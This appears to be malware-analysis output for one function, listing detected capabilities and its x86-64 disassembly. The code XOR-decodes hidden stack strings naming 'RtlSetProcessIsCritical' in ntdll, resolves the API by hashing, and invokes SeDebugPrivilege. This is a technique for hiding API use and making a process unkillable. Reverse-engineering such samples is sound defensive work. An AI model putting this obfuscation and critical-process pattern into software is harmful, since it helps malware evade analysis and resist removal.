Function at 0x140001b00
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov byte [rbp - 0x40], 0x49
xor eax, eax
mov byte [rbp - 0x3f], 0x1b
mov byte [rbp - 0x3e], 0x3d
mov byte [rbp - 0x3d], 0x25
mov byte [rbp - 0x3c], 0x1a
mov byte [rbp - 0x3b], 0x2c
mov byte [rbp - 0x3a], 0x3d
mov byte [rbp - 0x39], 0x19
mov byte [rbp - 0x38], 0x3b
mov byte [rbp - 0x37], 0x26
mov byte [rbp - 0x36], 0x2a
mov byte [rbp - 0x35], 0x2c
mov byte [rbp - 0x34], 0x3a
mov byte [rbp - 0x33], 0x3a
mov byte [rbp - 0x32], 0
mov byte [rbp - 0x31], 0x3a
mov byte [rbp - 0x30], 0xa
mov byte [rbp - 0x2f], 0x3b
mov byte [rbp - 0x2e], 0x20
mov byte [rbp - 0x2d], 0x3d
mov byte [rbp - 0x2c], 0x20
mov byte [rbp - 0x2b], 0x2a
mov byte [rbp - 0x2a], 0x28
mov byte [rbp - 0x29], 0x25
mov byte [rbp - 0x28], al
movzx eax, byte [rbp - 0x3f]
movzx eax, byte [rbp - 0x3f]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3f], cl
movzx eax, byte [rbp - 0x3e]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3e], cl
movzx eax, byte [rbp - 0x3d]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3d], cl
movzx eax, byte [rbp - 0x3c]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3c], cl
movzx eax, byte [rbp - 0x3b]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3b], cl
movzx eax, byte [rbp - 0x3a]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x3a], cl
movzx eax, byte [rbp - 0x39]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x39], cl
movzx eax, byte [rbp - 0x38]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x38], cl
movzx eax, byte [rbp - 0x37]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x37], cl
movzx eax, byte [rbp - 0x36]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x36], cl
movzx eax, byte [rbp - 0x35]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x35], cl
movzx eax, byte [rbp - 0x34]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x34], cl
movzx eax, byte [rbp - 0x33]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x33], cl
movzx eax, byte [rbp - 0x32]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x32], cl
movzx eax, byte [rbp - 0x31]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x31], cl
movzx eax, byte [rbp - 0x30]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x30], cl
movzx eax, byte [rbp - 0x2f]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2f], cl
movzx eax, byte [rbp - 0x2e]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2e], cl
movzx eax, byte [rbp - 0x2d]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2d], cl
movzx eax, byte [rbp - 0x2c]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2c], cl
movzx eax, byte [rbp - 0x2b]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2b], cl
movzx eax, byte [rbp - 0x2a]
movzx ecx, byte [rbp - 0x40]
xor cl, al
mov byte [rbp - 0x2a], cl
movzx eax, byte [rbp - 0x29]
movzx ecx, byte [rbp - 0x40]
xor cl, al
xor eax, eax
mov byte [rbp - 0x29], cl
mov edx, eax
movzx ecx, byte [rbp - 0x3f]
mov byte [rbp - 0x28], 0
test cl, cl
je 0x140001d13
movabs r8, 0x2000000001
nop dword [rax]
movsx rcx, cl
lea edx, [rdx + 1]
add rax, rcx
mov rcx, rax
shl rcx, 8
xor rcx, rax
shl rcx, 0xb
xor rax, rcx
mov rcx, rax
shr rcx, 4
xor rcx, rax
shr rcx, 0xb
add rax, rcx
imul rax, r8
mov rcx, rax
shr rcx, 0xd
xor rax, rcx
movzx ecx, byte [rbp + rdx - 0x3f]
test cl, cl
jne 0x140001cd0
mov byte [rbp - 0x20], 0x4e
mov rcx, rax
mov byte [rbp - 0x1f], 0x20
mov byte [rbp - 0x1e], 0x3a
mov byte [rbp - 0x1d], 0x2a
mov byte [rbp - 0x1c], 0x22
shl rcx, 5
xor rax, rcx
mov byte [rbp - 0x1b], 0x22
mov rdx, rax
shr rdx, 0xd
add rdx, rax
xor eax, eax
mov byte [rbp - 0x1a], al
movzx eax, byte [rbp - 0x1f]
movzx eax, byte [rbp - 0x1f]
movzx ecx, byte [rbp - 0x20]
xor cl, al
mov byte [rbp - 0x1f], cl
movzx eax, byte [rbp - 0x1e]
movzx ecx, byte [rbp - 0x20]
xor cl, al
mov byte [rbp - 0x1e], cl
movzx eax, byte [rbp - 0x1d]
movzx ecx, byte [rbp - 0x20]
xor cl, al
mov byte [rbp - 0x1d], cl
movzx eax, byte [rbp - 0x1c]
movzx ecx, byte [rbp - 0x20]
xor cl, al
mov byte [rbp - 0x1c], cl
movzx eax, byte [rbp - 0x1b]
movzx ecx, byte [rbp - 0x20]
xor cl, al
mov byte [rbp - 0x1b], cl
lea rcx, [rbp - 0x1f]
mov byte [rbp - 0x1a], 0
call section..text
lea rcx, str.SeDebugPrivilege
mov rbx, rax
call fcn.140001170
xor r8d, r8d
lea rdx, [rbp - 0x18]
mov cl, 1
call rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001df0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret